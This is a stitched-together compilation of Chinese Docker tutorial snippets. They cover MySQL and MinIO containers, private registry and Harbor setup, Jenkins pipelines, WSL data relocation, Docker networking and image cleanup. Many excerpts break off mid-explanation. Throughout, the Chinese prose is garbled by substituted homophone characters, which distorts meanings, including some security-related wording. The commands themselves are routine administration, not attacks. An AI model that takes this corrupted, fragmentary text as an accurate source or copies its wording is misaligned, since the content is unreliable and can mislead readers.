mysql 作为有状态的服务，不倡议运行在 k8s 和 docker 上。然而作为开发或者测试环境来说，或者是集体的学习试验环境，应用 docker 疾速部署一个 mysql server 无疑比手动部署的效率要高太多。 如果网络条件容许，一个几百兆的 mysql docker 镜像很快就能下载到本地，并且能够马上就能运行一个 mysql server 实例。 但即便是非生产环境中应用，也应该思考如下几点以不便自保护： 将 mysql 的配置文件和数据目录映射到宿主机本地。这样即便容器坏掉，再启动一个就是了，数据库配置和数据都不会丢。做端口映射。即是为了后续保护的不便，也是为了平安。设置 mysql 的登录明码。语法： docker run -p <宿主机端口>:<容器端口> --name <创立的容器名> -v <宿主机本地目录1>:<容器目录1> -v <宿主机本地目录2>:<容器目录2> -e MYSQL_ROOT_PASSWORD=<root 用户的明码> -d <mysql镜像名或者镜像 ID>示例： docker run -p 33060:3306 --name demo_mysql -v /data/mysql/conf:/etc/mysql -v /data/mysql/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d mysql示例参数解释： -p，端口映射。留神：后面是宿主机的端口，前面是容器的端口（或者说是容器内服务程序的端口）。当内部拜访该数据库时，应该拜访 33060 。-v，第一个 -v，是将 mysql 默认的配置文件目录 /etc/mysql，映射到宿主机的 /data/mysql/conf ；第二个 -v 是将默认的数据目录 /var/lib/mysql 映射到宿主机的 /data/mysql/data 。-e，是设置容器的环境变量，MYSQL_ROOT_PASSWORD 用来设置 mysql 的 root 账户的明码。

daemon.json 是镜像库应用的闸门，必须将公有镜像库地址写入其中，否则就无奈 pull 或 push 镜像。 筹备一个用于试验的镜像：192.168.100.151:5000/mycentos [root@k8s-master /data]# docker tag centos 192.168.100.151:5000/mycentos[root@k8s-master /data]# docker imagesREPOSITORY TAG IMAGE ID CREATED SIZE192.168.100.151:5000/mycentos latest 67fa590cfc1c 2 months ago 202MBcentos latest 67fa590cfc1c 2 months ago 202MBdaemon.json 中没有镜像库 192.168.100.151:5000 这个地址，所以 push 镜像失败： [root@k8s-master /data]# cat /etc/docker/daemon.json {"registry-mirrors":["https://tdimi5ql.mirror.aliyuncs.com"],"insecure-registries":["http://192.168.100.151:80"]}[root@k8s-master /data]# docker pull 192.168.100.151:5000/mycentosUsing default tag: latestError response from daemon: Get https://192.168.100.151:5000/v2/: http: server gave HTTP response to HTTPS client在 /etc/docker/daemon.json 中从新增加公有库地址 http://192.168.100.151:5000 并重启 docker 服务让配置失效： ...

如果想在容器宿主机的终端界面应用命令操作 harbor 库里的容器，须要先登录，否则无奈对容器做 pull 或者 push 等操作。登录的用户名和明码就是 harbor.yml 中定义的用来从 harbor UI 登录的用户名和明码，默认是 admin 和 Harbor12345 。 当然在登录之前，还要先做一步操作就是在配置文件 daemon.json（该文件默认不存在）中增加公有仓库 harbor 的地址 http://192.168.100.151:80 ，否则无奈登陆： vim /etc/docker/daemon.json配置如下，曾经装置的 harbor 默认应用 80 端口，在配置文件中必须把这个默认的端口 80 也写上，不能省略（晚期 Docker 版本是能够护疏忽这个 80 端口不写的）： {"registry-mirrors":["https://tdimi5ql.mirror.aliyuncs.com"],"insecure-registries":["http://192.168.100.151:80"]}重启 docker 服务让仓库地址的配置失效： systemctl restart docker.service留神：重启 docker 服务会导致容器全副进行运行。组成 harbor 服务的容器群要从新拉起。 登录 harbor 应用命令： docker login [IP]:[PORT][root@k8s-master /data]# docker login 192.168.100.151:80Username: adminPassword: WARNING! Your password will be stored unencrypted in /root/.docker/config.json.Configure a credential helper to remove this warning. Seehttps://docs.docker.com/engine/reference/commandline/login/#credentials-storeLogin Succeeded或者应用命令（不举荐此种在终端中应用显性明码的形式）： ...

两种罕用的镜像仓库： Docker 官网的仓库 registryVMware 的开源仓库 harbor（内置了 registry）harbor 的地址：https://github.com/goharbor/h... 下载地址：https://github.com/goharbor/h... harbor 默认是应用 docker-compose 启动的，装置 docker-compose 要应用 python-pip： yum install python-pip或者yum install python3-pipPython3 通常要求将 pip 更新到 pip-21* pip3 install --upgrade pip装置后的 pip-21* 门路 [root@k8s-master soft]# /usr/local/bin/pip -Vpip 21.3.1 from /usr/local/lib/python3.6/site-packages/pip (python 3.6)应用 pip 21.3.1 装置 docker-compose： /usr/local/bin/pip install docker-compose此处有可能会遇到装置报错如下： _posixsubprocess.c:16:20: 致命谬误：Python.h：没有那个文件或目录 #include "Python.h" ^ 编译中断。 error: command 'gcc' failed with exit status 1 ----------------------------------------Command "/usr/bin/python2 -u -c "import setuptools, tokenize;__file__='/tmp/pip-build-lE7MFu/subprocess32/setup.py';exec(compile(getattr(tokenize, 'open', open)(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record /tmp/pip-RjfJP_-record/install-record.txt --single-version-externally-managed --compile" failed with error code 1 in /tmp/pip-build-lE7MFu/subprocess32/You are using pip version 8.1.2, however version 19.3.1 is available.You should consider upgrading via the 'pip install --upgrade pip' command.依据提醒：#include "Python.h"，装置 python-devel 之后再重新安装 docker-compose 胜利： ...

为不便零碎的一键部署，咱们提供了 ModStart 零碎 Docker 一键启动脚本。 应用只需四步即可疾速装置 第一步，下载一键启动脚本配置文件ModStartCMS 惯例版 国内码云git clone https://gitee.com/modstart/Mo... 国外Githubgit clone https://github.com/modstart/M...ModStartCMS Laravel 9 版本 国内码云git clone https://gitee.com/modstart/Mo... 国外Githubgit clone https://github.com/modstart/M...第二步，下载ModStartCMS代码ModStartCMS 惯例版 cd ModStart_Docker 国外git clone https://github.com/modstart/M... modstart 国内git clone https://gitee.com/modstart/Mo... modstartModStartCMS Laravel 9 版本 cd ModStart_Docker_Laravel9 国外git clone https://github.com/modstart/M... modstart 国内git clone https://gitee.com/modstart/Mo... modstart筹备好的文件目录构造如下所示为 ├── README.md # 帮忙文档├── docker-compose.yml # ├── docker_config # 程序配置│ ├── mysql_init.sql # 数据库初始化脚本│ └── tengine.conf # tengine配置└── modstart # ModStart相干程序 ├── app├── bootstrap├── ...└── public第三步，应用Docker脚本一键启动docker-compose up第四步，进入零碎装置疏导程序拜访地址：http://localhost:20080/，数据库地址请按如下信息填写： ...

先温习一下 docker 的基本操作： 1. 应用镜像启动一个容器，并且容器在后盾运行命令： docker run -d -P [镜像名]示例： docker run -d -P nginx参数阐明：-d 是让容器在后盾运行。-P 是随机的端口映射。命令的执行后果，会返回启动的容器的残缺 ID（64位数字和字母组成）。示例中，会主动将宿主机的一个随机端口映射到生成的容器中的80端口（nginx 的默认端口是 80）。 2. 查看容器日志命令： docker logs [容器名或者ID] 3. 启动容器并设置指定的映射端口命令： docker run -d -p [宿主机的端口]:[容器的端口] --name [给新容器指定名称] [镜像名或者ID]示例： docker run -d -p 3333:80 --name nginx-demo nginx参数阐明：-p 用来设置指定的映射端口。做了端口映射之后，通过拜访宿主机IP+映射到宿主机的端口，就能拜访到docker中的服务。 4. 查看容器映射了哪些端口命令： docker port nginx-demo 5. 启动容器并设置指定的IP和映射端口命令： docker run -d -p [宿主机IP]:[宿主机端口]:[容器端口]阐明：这个命令实用于宿主机存在多个 IP 地址的状况。 6. 启动容器并指定容器的端口，但不指定宿主机的端口命令： docker run -d -p [宿主机IP]::[容器端口]阐明：这个命令实用于宿主机存在多个 IP 地址的状况。 7. 启动容器并指定容器应用的协定命令： ...

对于初学docker的小白，一款好的可视化工具有助于疾速把握docker根本状态和概念，上面针对docker可视化工具做些总结 ui-for-dockerUI For Docker是一个应用Docker Remote API的web接口，目标是提供一个简洁污浊的客户端实现，为了连贯和治理Docker； 该工具目前曾经无人保护，倡议应用上面介绍的portainer docker run -it -d --name docker-web --restart always -p 9000:9000 -v /var/run/docker.sock:/var/run/docker.sock docker.io/uifd/ui-for-docker1.长处 # 反对容器治理 # 反对镜像治理 # 基于docker api，本身也是一个容器。 # 稳定性高 # 可动态显示显示容器之间关系图 # 容器治理，减少端口映射，减少零碎变量、映射目录等2.毛病 # 没有登录验证，因为没有登录体系，目前解决办法是，只凋谢本地拜访，或者通过TLS来对权限进行管制。 # 无奈调配某容器给某用户。 # 不反对多主机。 # 不反对集群swarm等 # 性能少 # 不反对控制台命令 Portainerhttps://www.portainer.io/installation/ 是一款Docker可视化管理工具，可让您轻松构建和治理 Docker、Docker Swarm、Kubernetes 和 Azure ACI 中的容器。Portainer 将治理容器的复杂性暗藏在易于应用的 UI 前面。通过打消应用 CLI、编写 YAML 或了解清单的须要，Portainer 使部署应用程序和解决问题变得如此简略，任何人都能够做到 Portainer-架构Portainer 由两个元素组成：Portainer 服务器和 Portainer 代理。两者都在您现有的容器化基础设施上作为轻量级容器运行。Portainer 代理应该部署到集群中的每个节点，并配置为向 Portainer 服务器容器报告。单个 Portainer 服务器将承受来自任意数量的 Portainer 代理的连贯，从而提供从一个集中式界面治理多个集群的能力。为此，Portainer Server 容器须要数据持久性。Portainer 代理是无状态的，数据被传送回 Portainer 服务器容器。 ...

子标题： docker 打包 requirements.txt 变动之后主动下载新的包 pythondocker 判断 requirements.txt 是否发生变化 pythonrequirements.txt 变动自动更新 python应用上面的 dockerfile 就好了： FROM python:3.9-busterENV PYTHONUNBUFFERED 1RUN mkdir /codeWORKDIR /codeCOPY requirements.txt /code/RUN (/usr/local/bin/python -m pip install --upgrade pip -i https://mirrors.aliyun.com/pypi/simple) && (pip install -i https://mirrors.aliyun.com/pypi/simple -r requirements.txt)COPY . /code/要害是这行：COPY requirements.txt /code/当 requirements.txt 发生变化的时候（通过文件的 hashcode 判断），COPY 命令就会抛弃之前的 cache 镜像，从新打包，因为 docker 的镜像之间是前后关系，前面的镜像也都会 cache 生效，所以从新执行 RUN (/usr/local/bin/python -m pip install --upgrade pip -i https://mirrors.aliyun.com/pypi/simple) && (pip install -i https://mirrors.aliyun.com/pypi/simple -r requirements.txt) 和 COPY . /code/ ...

前言之前本人在阿里云ECS下面装置了Jekins(装置jenkins的文章)，最近因为服务器中了挖矿木马于是筹备重新安装一下，然而想到每次装置jenkins都要手动装置jdk、maven、docker、kubectl，感觉好麻烦，于是应用官网举荐的blue ocean docker镜像来装置并应用，在装置和应用的过程中遇到一些问题记录下来分享给大家。 应用blue ocean镜像来装置jkenkins首先咱们关上jenkins官网装置文章看看如何装置的。 1、在Docker中下载并运行Jenkinsdocker run \ -u root \ --rm \ -d \ -p 8080:8080 \ -p 50000:50000 \ -v jenkins-data:/var/jenkins_home \ -v /var/run/docker.sock:/var/run/docker.sock \ jenkinsci/blueocean2、拜访Jenkins / Blue Ocean Docker容器docker exec -it jenkins-blueocean bash3、装置后设置向导-解锁 Jenkins 要想查看jenkins密钥，必须应用上面命令获取并填入。 docker exec -it jenkins-blueocean bashdocker logs <docker-container-name>这样就实现了Jenkins的装置，上面咱们通过两个示例来应用jenkins公布next.js和spring我的项目。 构建nodejs我的项目这是官网提供的装置形式 操作过程： 0、新建git服务商(gitlab、github等等)ssh凭证和k8s conifg ~/.kube/config凭证(没有这个kubectl认证会失败)1、首先新建一个流水线工作2、流水线抉择Pipline Script或者Pipline Script from SCM3、将Jenkins脚本放入其中4、点击立刻构建上面是残缺的Jenkinsfile文件pipeline { agent any environment { GIT_REPOSITORY="xxx" K8S_YAML="k8s/test-xxx-webapp.yaml" POD_NAME="test-xxx-webapp" DOCKER_USERNAME="xxx" DOCKER_PWD="xxx ALIYUN_DOCKER_HOST = 'xxx' ALIYUN_DOCKER_NAMESPACE="com-xxx" ALIYUN_DOCKER_REPOSITORY_NAME="webapp-test" K8S_CONFIG = credentials('test-xxx-k8s-config-text') } stages { stage("Clone") { agent any steps { echo "1.Clone Stage" // 删除文件夹 deleteDir() git branch: 'test', credentialsId: 'xxx', url: "${GIT_REPOSITORY}" script { // 获取git代码tag为docker仓库tag // GIT_TAG = sh(returnStdout: true,script: 'git describe --tags --always').trim() // 获取git提交hash做为docker仓库tag GIT_TAG = sh(returnStdout: true, script: 'git rev-parse --short HEAD').trim() DOCKER_REPOSITORY = "${ALIYUN_DOCKER_HOST}/${ALIYUN_DOCKER_NAMESPACE}/${ALIYUN_DOCKER_REPOSITORY_NAME}" // docker 阿里镜像仓库 DOCKER_REPOSITORY_TAG = "${DOCKER_REPOSITORY}:${GIT_TAG}" } } } stage("Test") { agent any steps { echo "2.Test Stage" } } stage("Build") { agent any steps { echo "3.Build Docker Image Stage" sh "docker build -t ${DOCKER_REPOSITORY_TAG} -f docker/Dockerfile ." } } stage("Push") { agent any steps { echo "4.Push Docker Image Stage" //推送Docker镜像，username 跟 password 为 阿里云容器镜像服务的账号密码 sh "docker login --username=${DOCKER_USERNAME} --password=${DOCKER_PWD} ${ALIYUN_DOCKER_HOST}" // 开始推送镜像 sh "docker push ${DOCKER_REPOSITORY_TAG}" // 删除生成的image //sh "docker rmi ${DOCKER_IMG_HOST}/${DOCKER_IMG_PATH}:${GIT_TAG}" // 删除jenkins生成的image sh ''' docker images | grep seaurl | awk '{print $3}' | xargs docker rmi -f ''' } } stage("Deploy") { agent { docker { image 'lwolf/helm-kubectl-docker' } } steps { echo "5.公布镜像" sh "mkdir -p ~/.kube" sh "echo ${K8S_CONFIG} | base64 -d > ~/.kube/config" sh "sed -i 's#<imagename>#${DOCKER_REPOSITORY_TAG}#g;s#<podname>#${POD_NAME}#g' ${K8S_YAML}" sh "kubectl apply -f ${K8S_YAML} -n xxx" } } }}构建java我的项目这是官网提供的装置形式 ...

场景Windows 10 wsl 2版本的Docker默认装置在C盘，数据寄存在 C:\Users\以后用户名\AppData\Local\Docker\wsl\data\ext4.vhdx 长时间会导致C盘的空间使用量越来越大，解决这个问题咱们能够将数据挪动到其余硬盘 Docker 切换数据存储地位操作进行Docker 关上cmd窗口，查看进行状况 C:\Users\Administrator> wsl --list -v NAME STATE VERSION* docker-desktop Running 2 docker-desktop-data Running 2备份导出目前已有的数据 因为备份命令是没有输入进度条，所以能够先查看下已应用的空间大小（地位就在文章一开始），备份的时候心里有个预估的耗费工夫C:\Users\Administrator> wsl --export docker-desktop-data "F:\Docker\wsl\data\docker-desktop-data.tar"C:\Users\Administrator> dir F:\Docker\wsl\data\ 目录: D:\Docker\wsl\dataMode LastWriteTime Length Name---- ------------- ------ -----a---- 2020/11/25 8:54 2159349760 docker-desktop-data.tar命令阐明：将目前已有的数据备份到F:\Docker\wsl\data\目录下，并命名为docker-desktop-data.tar删除原有数据 C:\Users\Administrator> wsl --unregister docker-desktop-data正在登记...C:\Users\Administrator> wsl --list -v NAME STATE VERSION* docker-desktop Stopped 2导入数据到新盘 C:\Users\Administrator> wsl --import docker-desktop-data "F:\Docker\wsl\data" "F:\Docker\wsl\data\docker-desktop-data.tar" --version 2C:\Users\Administrator> wsl --list -v NAME STATE VERSION* docker-desktop Stopped 2 docker-desktop-data Stopped 2阐明：将备份数据导入到新的虚拟盘，且指定虚拟盘的寄存门路为 F:\Docker\wsl\data，导入实现后在该目录下会存在一个 ext4.vhdx 的虚构磁盘门路启动Docker ...

一、装置 Hyper-V 创立 hyper.bat,将上面代码复制进去，应用管理员身份运行该脚本，实际上下载Windows自带的虚拟机 ushd "%~dp0"dir /b %SystemRoot%\servicing\Packages\*Hyper-V*.mum >hyper-v.txtfor /f %%i in ('findstr /i . hyper-v.txt 2^>nul') do dism /online /norestart /add-package:"%SystemRoot%\servicing\Packages\%%i"del hyper-v.txtDism /online /enable-feature /featurename:Microsoft-Hyper-V-All /LimitAccess /ALL二、初始化环境 powershell 晋升权限: powershell start-process cmd -verb runas已管理员身份关上Powershell,别离执行上面的命令dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestartdism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart三、更新wsl2下载安装 https://wslstorestorage.blob.core.windows.net/wslblob/wsl_update_x64.msi在管理员下执行命令wsl --set-default-version 2四、装置Docker在官网下载，下一步执行即可 https://www.docker.com/products/docker-desktop五、问题解决 以管理员形式关上CMD, 运行netsh winsock reset 后, 再次启动Docker就能够了

1. Docker 是什么？Docker 是基于容器技术实现的，容器技术最开始是基于 Linux Container（简称 LXC）技术实现的，通过内核提供的 Namespace 和 Cgroup 机制，实现了对应用程序的隔离以及物理资源的调配。 Docker 在容器根底上倒退出了一个欠缺的生态系统，它将容器视为一种打包格局，将应用程序所需的所有，比方依赖库、运行时环境等都汇合在了在一起，使得一次构建，到处运行。 它将开发与运维很好的交融在一起。开发人员能够很轻松的构建、打包、推送和运行应用程序。而且还容许咱们将容器视为部署单元，以模块化的形式公布，升高了零碎的运维治理难度。 2. Docker 基本概念镜像镜像就像是蕴含了操作系统的一张光碟，它是一个模板文件，除了提供容器运行时所需的程序、库、资源、配置等文件外，还蕴含了一些为运行时筹备的一些配置参数（如匿名卷、环境变量、用户等）。 另外，镜像是一个分层的文件系统，通过一层层的组合，使得咱们能够复用这些不同粒度的镜像文件。 容器容器是镜像的运行实例，咱们能够把镜像看成是一个个的构建块，容器依据这些构建块搭建起了一个隔离的，领有整个包的应用程序。每一个容器都是一个标准化单元，确保了在不同机子上也能领有统一的行为。 数据卷Docker 对数据长久化的解决方案，数据不会随着容器完结而失落，通过将宿主机的某一文件目录挂载到容器里来实现。在 Docker 里提供了三种办法来实现目录的挂载： volumes： 属于 Docker 治理的目录，无需本人创立目录。bind mounts：本人指定的某个目录，需注意不同操作系统的文件门路格局。tmpfs：仅存储在主机零碎的内存中，不会长久保留在磁盘上。容器能够应用它来共享简略状态或非敏感的信息。网络bridge 模式Docker 在主机上会创立一个 docker0 的网桥，每当有容器要创立时，便会为容器调配一个独立的网卡，而后桥接到虚构网桥上。这其实是一对虚构网卡，一端放在容器里，另一端放在 docker0 网桥里。当一端有数据达到时，就会把数据包转发到另一端上，这就实现了网络通信。 host 模式在建一个容器时，个别会为容器调配一个独立的 Network Namespace 以进行网络隔离。如果咱们应用了 Host 模式，则不再调配 Network Namespace，而是和宿主机共用一个 Network Namespace。此时容器将不再领有本人的虚构网卡、IP 和端口，而是和宿主机共用一个 IP 和端口。 none 模式应用 none 模式的容器领有属于本人的 Network Namespace，但不做任何网络配置。它和宿主机以及其余容器是不互通的。如果须要和内部通信，则须要自定义网络驱动程序，本人增加网卡、配置 IP 等。 3. Docker 的底层技术是什么?Docker 在 Linux 的底层技术有：Namespaces（资源隔离）、CGroups （资源限度）、UnionFS （联结文件系统）。其中： Namespaces（资源隔离）：将零碎的全局资源通过形象划分，使得在同一 namespace 中的过程看起来领有本人的全局资源。次要有 Mount namespaces（文件系统挂载）、Network namespaces（网络）、User namespaces（用户）等的资源隔离。CGroups（资源限度）：对系统资源的限度，比方 CPU、内存等。UnionFS (联结文件系统)：一次同时加载多个文件系统，但从里面看起来，只能看到一个文件系统，联结加载会把各层文件系统叠加起来，这样最终的文件系统会蕴含所有底层的文件和目录。便于镜像的分层继承。4. Docker 和虚拟机的区别？容器技术和虚拟机都提供了环境隔离的性能。不同的是。容器是运行在操作系统上的一个过程，它和其余应用程序是共享内核的，由操作系统提供虚拟化隔离性能；而虚拟机则是完完全全另起了个操作系统，将环境隔离的更加彻底。 ...

查问单个容器 IP 地址： 应用上面命令能够查看容器详细信息，外面蕴含 IP 地址信息： docker inspect <container id>或者应用上面命令间接输入 IP 地址信息： docker inspect --format '{{ .NetworkSettings.IPAddress }}' <container id>或者： docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' <container id>查问全副容器 IP 地址： 上面三个命令，任选其一即可： docker inspect -f '{{.Name}} - {{.NetworkSettings.IPAddress }}' $(docker ps -aq)或者： docker inspect -f '{{.Name}} - {{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' $(docker ps -aq)或者： docker inspect --format='{{.Name}} - {{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' $(docker ps -aq)以上就是本文的全部内容，如果感觉不错的话，欢送点赞，转发和关注。 举荐浏览： 计算机经典书籍（含下载方式）技术博客： 硬核后端开发技术干货，内容包含 Python、Django、Docker、Go、Redis、ElasticSearch、Kafka、Linux 等。Go 程序员： Go 学习路线图，包含根底专栏，进阶专栏，源码浏览，实战开发，面试刷题，必读书单等一系列资源。面试题汇总： 包含 Python、Go、Redis、MySQL、Kafka、数据结构、算法、编程、网络等各种常考题。

Docker搭建Minio及永恒无效链接配置搭建Minio1.拉取镜像docker pull minio/minio:RELEASE.2021-06-17T00-10-46Z2. 启动minio如果要后盾运行 退出 -d 参数 /usr/local/minio/data // 数据卷寄存门路（自行添加）/usr/local/minio/config //服务配置文件（自行添加） docker run -d -p 9000:9000 --name minio\ -e "MINIO_ACCESS_KEY=admin" \ -e "MINIO_SECRET_KEY=adminminio" \ -v /usr/local/minio/data:/data \ -v /usr/local/minio/config:/root/.minio \ minio/minio:RELEASE.2021-06-17T00-10-46Z server /data永恒无效链接配置1.Docker 获取 minio/mc容器docker pull minio/mc:RELEASE.2021-06-13T17-48-22Z2.Docker 启动 minio/mc容器docker run -it --entrypoint=/bin/sh minio/mc:RELEASE.2021-06-13T17-48-22Z启动之后 会间接 进入 sh-4.4# 输出mc version 查看版本信息 3.minio/mc 绑定 minio server服务mc config host add <ALIAS> <YOUR-S3-ENDPOINT> <YOUR-ACCESS-KEY> <YOUR-SECRET-KEY> [--api API-SIGNATURE]mc config host add minio http://IP地址:9000 admin adminminio --api S3v4ALIAS: 别名就是给你的云存储服务起了一个短点的外号。S3 endpoint,access key和secret key是你的云存储服务提供的。endpoint http://IP地址:9000access key、secret key 账号密码： admin adminminio。API签名是可选参数，默认状况下，它被设置为"S3v4"。绑定胜利 ...

qemu-system-aarch64 是啥？就是 docker 虚拟化 Linux 环境用的过程 这个占用 2-4 GB，对于 8 GB 的 Mac 可不敌对了，敞开他节约内存！

大家好呀，我是小菜~ 本文次要介绍 docker 网络 微信公众号已开启，小菜良记，没关注的同学们记得关注哦！ 刚完结完一个需要的小菜农刚想关上公众号《菜农曰》看看博客划划水，叮叮又响了！ “小菜农，这个测试环境的服务器连贯信息，你登上去通过docker部署下你刚刚提交的分支测试下哈！” 导师程立给小菜农发来了音讯 "docker是个啥玩意？之前不都是间接在服务器找个目录上传而后 nohup java -jar ... & 一套组合拳下来吗？" 小菜农登时又自闭了，自从来到了职场真是处处碰壁！想想在学校还是三好学生真是唏嘘不已！ “等等！我记得公众号《菜农曰》写了一篇对于 docker 的，连忙翻出来看看” Docker上手，看完感觉本人又行了！许久之后，小菜农方从文章中回过神来，“这下不得拿捏了！”。他关上服务器输出 docker ps 试了下指令 “有点意思啊！”他依照文章中的教程开始部署本人的利用我的项目。先是编写了本人利用的 dockerfile，而后通过 docker build 构建出本人的镜像，最初执行 docker run来运行本人的镜像，一整套下来零打碎敲，行云流水！而后便在浏览器测试了下本人的性能内容，测试通过后。小菜农便陷入了思考，docker 是一个容器，能够内嵌一个操作系统，每个容器之间是互相隔离的，那为啥我能够从外界拜访容器内的内容？容器之间是如何通信的？又怎么创立自定义网络？ 几个问题想的小菜农头都大了！放弃是不可能放弃的，没准这当前能够成为本人升职加薪，走上人生巅峰的垫脚石之一呢！从这里能够看出小菜农还是很有斗志的嘛~ docker 容器在装置的时候会主动在 host 上创立三个网络，小菜农看到了这句话，那要怎么查看这三个网络了，通过help指令看看会不会有所发现？他疾速地在终端敲入docker --help “哦豁，果然有！network 不就是我想要的吗！”。机智的小菜农开始顺藤摸瓜，继而敲入docker network --help “ ls 能够查看docker 的网络，那我来试试” 终端上正如小菜农所料，呈现了他想要看的内容。“bridge、host、none？” 小菜农还是有些网络根底的，前两个看名称都有点相熟，然而 none 是个啥玩意？什么都没有的网络吗？。小菜农通过一番查问，没想到还真是，不由得拜服命名的开发者，这可真让人顾名思义~ 查问发现，挂在这个网络下的容器除了 lo，没有任何网卡 咱们启动容器是通过 docker run来执行的，这个指令前面咱们能够附加参数，通过 --network = none就能够指定该容器是应用 none 网络~ “那么这样一个关闭的网络有啥用，都上不了网”，小菜农嘀咕道 没错，就是要上不了网，有些非凡的利用场景须要将网络关闭起来，往往这种场景意味着安全性要求很高，因而须要进行隔离，这种状况就能够放到 none 网络避免被人侵入。 “既然是非凡场景才须要，那我目前应该还接触不到非凡场景，pass pass！让我康康 host 是什么网络” ...

遇到上面的谬误： opencv ImportError: libGL.so.1: cannot open shared object file: No such file or directory谬误的教程：docker环境里装置opencv ImportError: libGL.so.1: cannot open shared object file: No such file or directory 正确的教程： FROM python:3.9-busterENV PYTHONUNBUFFERED 1RUN mkdir /codeWORKDIR /codeCOPY requirements.txt /code/RUN (apt-get update) && (apt-get install -y libgl1-mesa-dev ffmpeg libsm6 libxext6)RUN (/usr/local/bin/python -m pip install --upgrade pip -i https://mirrors.aliyun.com/pypi/simple) && (pip install -i https://mirrors.aliyun.com/pypi/simple -r requirements.txt)COPY . /code/装置这四个货色就好了：libgl1-mesa-dev ffmpeg libsm6 libxext6 不要把 opencv-python 改为 opencv-python-headless

在应用 docker images 命令的时候，常常会在列表中看到 <none>:<none> 的镜像。 这种镜像在 Docker 官网文档中被称作 dangling images，指的是没有标签并且没有被容器应用的镜像。 当 docker build 或者 docker pull 新镜像的时候，如果之前曾经存在了，波及到镜像版本更新的话，那么之前的镜像就变成了长期镜像，也就是 <none>:<none> 镜像。 删除 dangling 镜像： docker image prune或者： docker rmi $(docker images -f "dangling=true" -q)如果镜像被容器援用了，是不能间接删除的，须要先删除容器。 # 删除容器docker rm $(docker ps -a | grep "Exited" | awk '{print $1}')# 删除 imagesdocker rmi $(docker images | grep "none" | awk '{print $3}')或者： docker ps -a | grep "Exited" | awk '{print $1}'| xargs docker rmdocker images | grep none | awk '{print $3}'| xargs docker rmi举荐浏览： ...

留神：装置WSL2对操作系统有要求：至多Windows 10 1903 (Build 18362) 。 官网装置形式如果只是想在WSL上装置docker，在windows上用起来，倡议参考微软官网文档装置Docker Desktop。 地址 https://docs.microsoft.com/en-us/windows/wsl/tutorials/wsl-containers 在WSL的Terminal中装置Docker比拟折腾的装置形式，举荐不想装个docker桌面利用的玩家。 装置WSL如果没有装置过能够依照官网教程装置。 地址 https://docs.microsoft.com/en-us/windows/wsl/install 从WSL1切换到WSL2我装的 distro = Ubuntu-20.04 。 因为事先曾经装过WSL，但依照docker的装置要求，须要WSL版本是2 。 PS C:\Users\overlord> wsl -l -v NAME STATE VERSION* Ubuntu-20.04 Stopped 1用命令 wsl -l -v 查看发现是1 。 在调用 wsl --set-version Ubuntu-20.04 2 之前，须装置 linux-kernel update package 须启用Windows性能： 我在启用Hyper-V虚拟机监控程序之后产生了HDMI的Audio驱动失落的景象，敞开后再启用就好了。 win+r快捷键输出msinfo32.exe查看是否启用胜利： 再在powershell里输出命令 wsl --set-version Ubuntu-20.04 2 。期待转换实现。 PS C:\Users\overlord> wsl --set-version Ubuntu-20.04 2正在进行转换，这可能须要几分钟工夫...无关与 WSL 2 的次要区别的信息，请拜访 https://aka.ms/wsl2转换实现。PS C:\Users\overlord> wsl -l -v NAME STATE VERSION* Ubuntu-20.04 Stopped 2用 wsl -l -v 命令可检测wsl版本是否已转换。 ...

作者：Alesksey Kadetov, Certified Rancher Operator: Level One过来，可怜的金丝雀会作为试验品，用来测试煤矿中甲烷的含量。用绳子将装有金丝雀的笼子放入矿井一段时间，再拉上来，如果金丝雀还活着，矿井就能够平安开采；如果金丝雀死亡，则不能开采。当初，这种办法早已弃用，因为这对动物太不人道了。 金丝雀总是在矿工身边彷徨，如果它进行鸣叫，则示意矿工必须来到矿井。 金丝雀部署是指两个版本的利用共存，新版本在开始时规模较小，解决的负载流量也较少。随着对新部署的剖析，所有申请逐步切换到新版本，而旧版本利用被移除。 人们普遍认为，治理这些部署的流量须要应用一个Service Mesh，然而，要治理入站流量，你只需在nginx ingress controller上设置annotations即可： nginx.ingress.kubernetes.io/canary: "true" nginx.ingress.kubernetes.io/canary-weight: <num>这种办法的毛病是必须手动治理。为了实现自动化，咱们能够应用 Argo Rollouts。 运行Argo Rollouts增加helm-repo: https://argoproj.github.io/ar... argo-rollouts chart： Helm-values： installCRDs: true批改Deployment并运行Rollouts CRDScaleDown deployment，设置Replicas 0： 运行 serviceapiVersion: v1kind: Servicemetadata: annotations: argo-rollouts.argoproj.io/managed-by-rollouts: rollout-pregap name: rollouts-pregap-canary namespace: pregapspec: clusterIP: 10.43.139.197 ports: - name: http port: 8080 protocol: TCP targetPort: 8080 selector: app: test2-pregap sessionAffinity: None type: ClusterIPapiVersion: v1kind: Servicemetadata: annotations: argo-rollouts.argoproj.io/managed-by-rollouts: rollout-pregapspec: clusterIP: 10.43.61.221 ports: - name: http port: 8080 protocol: TCP targetPort: 8080 selector: app: test2-pregap sessionAffinity: None type: ClusterIP运行Rollouts CRD ...

因官网提供的postgresql镜像对linux精简的太厉害，根底的yum、telnet、ping 都没有了，很多操作不不便，所以这几天在尝试本人制作一个镜像，以后思路是在根底镜像centos上自定义装置了postgresql库，而后commit 1.问题景象commit提交镜像后，通过镜像中的shell脚本启动数据库后，镜像状态未启动胜利，报错内容： Unable to find image 'mypg_02:latest' locallyTrying to pull repository docker.io/library/mypg_02 ... /usr/bin/docker-current: Get https://registry-1.docker.io/v2/: dial tcp: lookup registry-1.docker.io on ip:53: server misbehaving.See '/usr/bin/docker-current run --help'.启动脚本： docker run -d --name mypg01 -p 5201:5432 --network network-bridge mypg_02 /root/dockerStart/start.sh 其中start脚本内容： #!/bin/bashsu - postgres -c "/opt/pgdata/pg5432/scripts/startServer5432.sh"2.问题起因先回顾下操作,宿主机操作: docker pull centos:7.4.1708 # 拉取镜像docker run -d -v /root/docker_dirs/centos01:/opt/centos centos:7.4.1708 /bin/sh -c "while true; do echo hello world; sleep 60; done" # 运行centos镜像，centos镜像如果命令是/bin/bash，运行后会主动退出，因为容器没有检测到正在运行的过程下载PG库的安装文件，并上传到宿主机的/root/docker_dirs/centos01容器内操作，装置pg库，root用户执行如下命令: cp /opt/centos/yum.repos.d/* . #配置yum源yum install -y readline-devel gcc zlib-devel gcc automake autoconf libtool 